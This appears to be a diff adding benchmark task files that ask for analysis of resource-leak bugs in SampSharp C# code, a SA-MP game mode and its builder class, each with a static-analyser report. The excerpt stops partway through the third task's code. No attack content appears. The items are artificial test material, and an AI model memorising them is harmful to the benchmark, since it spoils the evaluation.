+            new GlobalObject(790, new Vector(2403.40, 581.56, 10.42), new Vector(0.00, 0.00, 29.48));
+            new GlobalObject(791, new Vector(2083.44, 365.48, 13.19), new Vector(356.86, 0.00, -1.95));
+            new GlobalObject(791, new Vector(2040.15, 406.02, 13.33), new Vector(356.86, 0.00, -1.95));
+            new GlobalObject(791, new Vector(1995.36, 588.10, 7.50), new Vector(356.86, 0.00, -1.95));
+            new GlobalObject(791, new Vector(2126.11, 595.15, 5.99), new Vector(0.00, 0.00, -35.82));
+            new GlobalObject(791, new Vector(2188.35, 588.90, 6.04), new Vector(0.00, 0.00, 0.00));
+            new GlobalObject(791, new Vector(2068.56, 595.58, 5.99), new Vector(0.00, 0.00, 52.62));
+            new GlobalObject(698, new Vector(2385.32, 606.16, 9.79), new Vector(0.00, 0.00, 34.62));
+            new GlobalObject(698, new Vector(2309.29, 606.92, 9.79), new Vector(0.00, 0.00, -54.54));
+            new GlobalObject(790, new Vector(2347.14, 619.77, 9.94), new Vector(0.00, 0.00, 3.14));
+            new GlobalObject(698, new Vector(2255.28, 606.94, 9.79), new Vector(0.00, 0.00, -92.76));
+            new GlobalObject(4298, new Vector(2121.37, 544.12, -5.74), new Vector(-10.86, 6.66, 3.90));
+            new GlobalObject(4368, new Vector(2273.18, 475.02, -15.30), new Vector(4.80, 8.10, 266.34));
+            new GlobalObject(18227, new Vector(2232.38, 451.61, -30.71), new Vector(-18.54, -6.06, 154.38));
+            new GlobalObject(17031, new Vector(2228.15, 518.87, -16.51), new Vector(13.14, -1.32, -20.10));
+            new GlobalObject(17031, new Vector(2230.42, 558.52, -18.38), new Vector(-2.94, -5.22, 12.78));
+            new GlobalObject(17031, new Vector(2228.97, 573.62, 5.17), new Vector(17.94, -15.60, -4.08));
+            new GlobalObject(17029, new Vector(2116.67, -87.71, -2.31), new Vector(5.94, 7.56, 215.22));
+            new GlobalObject(17029, new Vector(2078.66, -83.87, -27.30), new Vector(13.02, -53.94, -0.30));
+            new GlobalObject(17029, new Vector(2044.80, -36.91, -9.26), new Vector(-13.74, 27.90, 293.76));
+            new GlobalObject(17029, new Vector(2242.41, 426.16, -15.43), new Vector(-21.54, 22.26, 154.80));
+            new GlobalObject(17029, new Vector(2220.06, 450.07, -34.78), new Vector(-1.32, 10.20, -45.84));
+            new GlobalObject(17029, new Vector(2252.49, 439.08, -19.47), new Vector(-41.40, 20.16, 331.86));
+            new GlobalObject(17031, new Vector(2241.41, 431.93, -5.62), new Vector(-2.22, -4.80, 53.64));
+            new GlobalObject(17029, new Vector(2141.10, -81.30, -2.41), new Vector(5.94, 7.56, 39.54));
+            new GlobalObject(17031, new Vector(2277.07, 399.31, -1.65), new Vector(-2.22, -4.80, -121.74));
+            new GlobalObject(17026, new Vector(2072.75, -224.40, -5.25), new Vector(0.00, 0.00, -41.22));
+            
+            // Ramps
+            new GlobalObject(1632, new Vector(2131.97, 110.24, 0.00), new Vector(0.00, 0.00, 153.72));
+            new GlobalObject(1632, new Vector(2124.59, 113.69, 0.00), new Vector(0.00, 0.00, 157.56));
+            new GlobalObject(1632, new Vector(2116.31, 116.44, 0.00), new Vector(0.00, 0.00, 160.08));
+            new GlobalObject(1632, new Vector(2113.22, 108.48, 0.00), new Vector(0.00, 0.00, 340.20));
+            new GlobalObject(1632, new Vector(2121.21, 105.21, 0.00), new Vector(0.00, 0.00, 340.20));
+            new GlobalObject(1632, new Vector(2127.84, 102.06, 0.00), new Vector(0.00, 0.00, 334.68));
+            new GlobalObject(1632, new Vector(2090.09, 40.90, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2098.73, 39.12, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2107.17, 37.94, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2115.88, 36.47, 0.00), new Vector(0.00, 0.00, 348.36));
+            new GlobalObject(1632, new Vector(2117.46, 45.86, 0.00), new Vector(0.00, 0.00, 529.20));
+            new GlobalObject(1632, new Vector(2108.98, 46.95, 0.00), new Vector(0.00, 0.00, 529.20));
+            new GlobalObject(1632, new Vector(2100.42, 48.11, 0.00), new Vector(0.00, 0.00, 526.68));
+            new GlobalObject(1632, new Vector(2091.63, 50.02, 0.00), new Vector(0.00, 0.00, 526.80));
+
+            Console.WriteLine("----------------------------------");
+            Console.WriteLine("  Rivershell by Kye 2006-2013");
+            Console.WriteLine("  SAMPSHARP PORT");
+            Console.WriteLine("----------------------------------");
+
+            return base.OnGameModeInit();
+        }
+
+        protected override void LoadControllers(ControllerCollection controllers)
+        {
+            controllers.Remove<PlayerController>();
+            controllers.Add(new RPlayerController());
+
+            controllers.Remove<VehicleController>();
+            controllers.Add(new RVehicleController());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 174) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 173) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 172) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 171) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 170) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 169) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 168) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 167) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 166) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 165) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 164) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 163) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 162) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 161) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 158) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 157) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 156) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 155) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 154) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 153) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 152) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 151) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 150) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 149) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 148) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 147) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 146) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 145) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 144) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 143) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 142) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 141) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 140) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 139) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 138) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 137) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 136) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 135) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 134) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 133) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 132) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 131) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 130) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 129) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 128) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 127) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 126) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 125) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 124) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 123) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 122) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 121) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 120) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 119) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 118) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 117) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 116) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 115) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 114) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 113) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 112) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 111) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 110) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 109) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 108) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 107) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 106) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 105) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 104) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 103) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 102) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 101) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 100) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 99) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 98) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 97) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 94) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 92) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 89) of type SampSharp.GameMode.World.GlobalObject, Leaked resource (output of SampSharp.GameMode.World.GlobalObject::.ctor() at Line 87) of type SampSharp.GameMode.World.GlobalObject in method "Boolean GameMode.OnGameModeInit()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean GameMode.OnGameModeInit()
+
+### File:
+source/RiverShell/GameMode.cs
+
+### Key:
+GameMode.cs|OnGameModeInit|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f9843ae2660294f750691f4c142e459b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0958/instruction.md b/inferredbugs-0958/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..031747dd5269aaab41c200d9e27147c3f93b4569
--- /dev/null
+++ b/inferredbugs-0958/instruction.md
@@ -0,0 +1,359 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SampSharp
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+// SampSharp
+// Copyright 2017 Tim Potze
+// 
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+// 
+//     http://www.apache.org/licenses/LICENSE-2.0
+// 
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+using SampSharp.Core.CodePages;
+using SampSharp.Core.Communication.Clients;
+using SampSharp.Core.Logging;
+
+namespace SampSharp.Core
+{
+    /// <summary>
+    ///     Represents a configuration build for running a SampSharp game mode.
+    /// </summary>
+    public sealed class GameModeBuilder
+    {
+        private Func<ICommunicationClient, GameModeStartBehaviour, IGameModeProvider, IGameModeRunner> _builder;
+        private ICommunicationClient _communicationClient;
+        private GameModeExitBehaviour _exitBehaviour = GameModeExitBehaviour.ShutDown;
+        private IGameModeProvider _gameModeProvider;
+        private bool _redirectConsoleOutput;
+        private GameModeStartBehaviour _startBehaviour = GameModeStartBehaviour.Gmx;
+        private Encoding _encoding;
+        private bool _hosted;
+
+        /// <summary>
+        ///     Initializes a new instance of the <see cref="GameModeBuilder" /> class.
+        /// </summary>
+        public GameModeBuilder()
+        {
+            if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))
+                _communicationClient = new UnixDomainSocketCommunicationClient("/tmp/SampSharp");
+            else if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+                _communicationClient = new NamedPipeClient("SampSharp");
+        }
+
+        /// <summary>
+        ///     Use a named pipe with the specified <paramref name="pipeName" /> to communicate with the SampSharp server.
+        /// </summary>
+        /// <param name="pipeName">Name of the pipe.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UsePipe(string pipeName)
+        {
+            if (pipeName == null) throw new ArgumentNullException(nameof(pipeName));
+            return UseCommunicationClient(new NamedPipeClient(pipeName));
+        }
+
+        /// <summary>
+        ///     Use the specified <paramref name="encoding"/> when en/decoding text messages sent to/from the server.
+        /// </summary>
+        /// <param name="encoding">The encoding to use when en/decoding text messages send to/from the server.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseEncoding(Encoding encoding)
+        {
+            _encoding = encoding ?? throw new ArgumentNullException(nameof(encoding));
+            return this;
+        }
+
+        /// <summary>
+        ///     Use the code page described by the file at the specified <paramref name="path"/> when en/decoding text messages sent to/from the server.
+        /// </summary>
+        /// <param name="path">The path to the code page file.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseEncoding(string path)
+        {
+            if (path == null) throw new ArgumentNullException(nameof(path));
+            return UseEncoding(CodePageEncoding.Load(path));
+        }
+
+        /// <summary>
+        ///     Use the code page described by the specified <paramref name="stream"/> when en/decoding text messages sent to/from the server.
+        /// </summary>
+        /// <param name="stream">The stream containing the code page definition.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseEncoding(Stream stream)
+        {
+            return UseEncoding(CodePageEncoding.Load(stream));
+        }
+
+        /// <summary>
+        ///     Use an unix domain socket with a file at the specified <paramref name="path" /> to communicate with the SampSharp
+        ///     server.
+        /// </summary>
+        /// <param name="path">The path to the domain socket file.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseUnixDomainSocket(string path)
+        {
+            if (path == null) throw new ArgumentNullException(nameof(path));
+            return UseCommunicationClient(new UnixDomainSocketCommunicationClient(path));
+        }
+
+        /// <summary>
+        ///     Use a TCP client to communicate with the SampSharp server on localhost.
+        /// </summary>
+        /// <param name="port">The port on which to connect.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseTcpClient(int port)
+        {
+            return UseCommunicationClient(new TcpCommunicationClient("127.0.0.1", port));
+        }
+
+        /// <summary>
+        ///     Use a TCP client to communicate with the SampSharp server.
+        /// </summary>
+        /// <param name="host">The host to which to connect.</param>
+        /// <param name="port">The port on which to connect.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseTcpClient(string host, int port)
+        {
+            if (host == null) throw new ArgumentNullException(nameof(host));
+            return UseCommunicationClient(new TcpCommunicationClient(host, port));
+        }
+
+        /// <summary>
+        ///     Use the specified communication client to communicate with the SampSharp server.
+        /// </summary>
+        /// <param name="communicationClient">The communication client.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseCommunicationClient(ICommunicationClient communicationClient)
+        {
+            _communicationClient = communicationClient ?? throw new ArgumentNullException(nameof(communicationClient));
+            return this;
+        }
+
+        /// <summary>
+        ///     Indicate the game mode will be hosted in the SA-MP server process.
+        /// </summary>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseHosted()
+        {
+            _hosted = true;
+            return RedirectConsoleOutput();
+        }
+
+        /// <summary>
+        ///     Redirect the console output to the server.
+        /// </summary>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder RedirectConsoleOutput()
+        {
+            _redirectConsoleOutput = true;
+            return this;
+        }
+
+        /// <summary>
+        ///     Use the specified game mode.
+        /// </summary>
+        /// <param name="gameMode">The game mode to use.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder Use(IGameModeProvider gameMode)
+        {
+            _gameModeProvider = gameMode ?? throw new ArgumentNullException(nameof(gameMode));
+            return this;
+        }
+
+        /// <summary>
+        ///     Use the gamemode of the specified <typeparamref name="TGameMode" /> type.
+        /// </summary>
+        /// <typeparam name="TGameMode">The type of the game mode to use.</typeparam>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder Use<TGameMode>() where TGameMode : IGameModeProvider
+        {
+            return Use(Activator.CreateInstance<TGameMode>());
+        }
+
+        /// <summary>
+        ///     Uses the specified log level as the maximum level which is written to the log by SampSharp.
+        /// </summary>
+        /// <param name="logLevel">The log level.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseLogLevel(CoreLogLevel logLevel)
+        {
+            CoreLog.LogLevel = logLevel;
+            return this;
+        }
+
+        /// <summary>
+        ///     Uses the specified stream to log SampSharp log messages to.
+        /// </summary>
+        /// <param name="stream">The stream to log SampSharp log messages to.</param>
+        /// <remarks>If a null value is specified as stream, no log messages will appear.</remarks>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseLogStream(Stream stream)
+        {
+            CoreLog.Stream = stream;
+            return this;
+        }
+
+        /// <summary>
+        ///     Sets the behaviour used once a OnGameModeExit call has been received.
+        /// </summary>
+        /// <param name="exitBehaviour">The exit behaviour.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseExitBehaviour(GameModeExitBehaviour exitBehaviour)
+        {
+            _exitBehaviour = exitBehaviour;
+            return this;
+        }
+
+
+        /// <summary>
+        ///     Use the specified start method when attaching to the server.
+        /// </summary>
+        /// <param name="startBehaviour">The start behaviour.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder UseStartBehaviour(GameModeStartBehaviour startBehaviour)
+        {
+            _startBehaviour = startBehaviour;
+            return this;
+        }
+
+        /// <summary>
+        ///     Use a custom build procedure to load a custom game mode client.
+        /// </summary>
+        /// <param name="builder">The building function.</param>
+        /// <returns>The updated game mode configuration builder.</returns>
+        public GameModeBuilder BuildWith(Func<ICommunicationClient, GameModeStartBehaviour, IGameModeProvider, IGameModeRunner> builder)
+        {
+            _builder = builder;
+            return this;
+        }
+
+
+        /// <summary>
+        ///     Run the game mode using the build configuration stored in this instance.
+        /// </summary>
+        public void Run()
+        {
+            if (_communicationClient == null)
+                throw new GameModeBuilderException("No communication client has been specified");
+            if (_gameModeProvider == null)
+                throw new GameModeBuilderException("No game mode provider has been specified");
+
+            var redirect = _redirectConsoleOutput;
+
+            var runner = Build();
+
+            if (runner == null)
+            {
+                return;
+            }
+
+            if (redirect)
+            {
+                Console.SetOut(new ServerLogWriter(runner.Client));
+            }
+            
+            if (_hosted)
+            {
+                // Ignore exit behaviours for hosted environments.
+                runner.Run();
+            }
+            else
+            {
+                do
+                {
+                    // If true is returned, the runner wants to shut down.
+                    if (runner.Run())
+                    {
+                        break;
+                    }
+
+                } while (_exitBehaviour == GameModeExitBehaviour.Restart);
+
+                if (redirect)
+                    Console.SetOut(new StreamWriter(Console.OpenStandardOutput()));
+            }
+        }
+
+        private IGameModeRunner Build()
+        {
+            if (_builder != null)
+            {
+                return _builder(_communicationClient, _startBehaviour, _gameModeProvider);
+            }
+
+            if (_hosted)
+            {
+                return new HostedGameModeClient(_startBehaviour, _gameModeProvider, _encoding);
+            }
+            else
+            {
+                return new MultiProcessGameModeClient(_communicationClient, _startBehaviour, _gameModeProvider, _encoding);
+            }
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource runner.SampSharp.Core.MultiProcessGameModeClient._commandWaitQueue.SampSharp.Core.Threading.CommandWaitQueue._semaphore of type System.Threading.SemaphoreSlim, Leaked resource (output of System.IO.StreamWriter::.ctor() at Line 280) of type System.IO.StreamWriter, Leaked resource (output of SampSharp.Core.ServerLogWriter::.ctor() at Line 259) of type SampSharp.Core.ServerLogWriter in method "Void GameModeBuilder.Run()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void GameModeBuilder.Run()
+
+### File:
+src/SampSharp.Core/GameModeBuilder.cs
+
+### Key:
+GameModeBuilder.cs|Run|DOTNET_RESOURCE_LEAK
+
+### Hash:
+3e7b25d93cedc3a120aeadf82ecdbe5c
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0960/instruction.md b/inferredbugs-0960/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..074783155e2e3796c6b272efbdace527a222dd5c
--- /dev/null
+++ b/inferredbugs-0960/instruction.md
@@ -0,0 +1,275 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** SampSharp
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using RiverShell.Controllers;
+using RiverShell.World;
+using SampSharp.GameMode;
+using SampSharp.GameMode.Controllers;
+using SampSharp.GameMode.Definitions;
+using SampSharp.GameMode.World;
+
+namespace RiverShell
+{
+    public class GameMode : BaseMode
+    {
+        public static Team BlueTeam;
+        public static Team GreenTeam;
+        public static bool ObjectiveReached;
+
+        public override bool OnGameModeInit()
+        {
+            BlueTeam = new Team
+            {
+                Id = 1,
+                Color = 0x7777DDFF,
+                GameTextTeamName = "~b~BLUE ~w~team",
+                Target = new Vector(2329.4226f, 532.7426f, 0.5862f),
+                FixedSpectatePosition = new Vector(2221.5820, -273.9985, 61.7806),
+                FixedSpectateLookAtPosition = new Vector(2220.9978, -273.1861, 61.4606),
+                ResupplyPosition = new Vector(2140.83f, -235.13f, 7.13f)
+            };
+            GreenTeam = new Team
+            {
+                Id = 2,
+                Color = 0x77CC77FF,
+                GameTextTeamName = "~g~GREEN ~w~team",
+                Target = new Vector(2135.7368f, -179.8811f, -0.5323f),
+                FixedSpectatePosition = new Vector(2274.8467, 591.3257, 30.1311),
+                FixedSpectateLookAtPosition = new Vector(2275.0503, 590.3463, 29.9460),
+                ResupplyPosition = new Vector(2318.73f, 590.96f, 6.75f)
+            };
+
+            SetGameModeText("Rivershell");
+            ShowPlayerMarkers(0);
+            ShowNameTags(true);
+            SetWorldTime(17);
+            SetWeather(11);
+            UsePlayerPedAnims();
+            EnableVehicleFriendlyFire();
+            SetNameTagDrawDistance(110.0f);
+            DisableInteriorEnterExits();
+
+            // Green classes
+            AddPlayerClass(162, new Vector(2117.0129, -224.4389, 8.15), 0, Weapon.M4, 100, Weapon.MP5, 200, Weapon.Sniper, 10);
+            AddPlayerClass(157, new Vector(2148.6606, -224.3336, 8.15), 347.1396f, Weapon.M4, 100, Weapon.MP5, 200, Weapon.Sniper, 10);
+
+            // Blue classes
+            AddPlayerClass(154, new Vector(2352.9873, 580.3051, 7.7813), 178.1424f, Weapon.M4, 100, Weapon.MP5, 200, Weapon.Sniper, 10);
+            AddPlayerClass(138, new Vector(2281.1504, 567.6248, 7.7813), 163.7289f, Weapon.M4, 100, Weapon.MP5, 200, Weapon.Sniper, 10);
+
+            // Objective vehicles
+            BlueTeam.TargetVehicle = Vehicle.Create(453, new Vector(2184.7156, -188.5401, -0.0239), 0.0000f, 114, 1, 100); // gr reefer
+            GreenTeam.TargetVehicle = Vehicle.Create(453, new Vector(2380.0542, 535.2582, -0.0272), 178.4999f, 79, 7, 100);// bl reefer
+
+            // Green Dhingys
+            Vehicle.Create(473, new Vector(2096.0833, -168.7771, 0.3528), 4.5000f, 114, 1, 100);
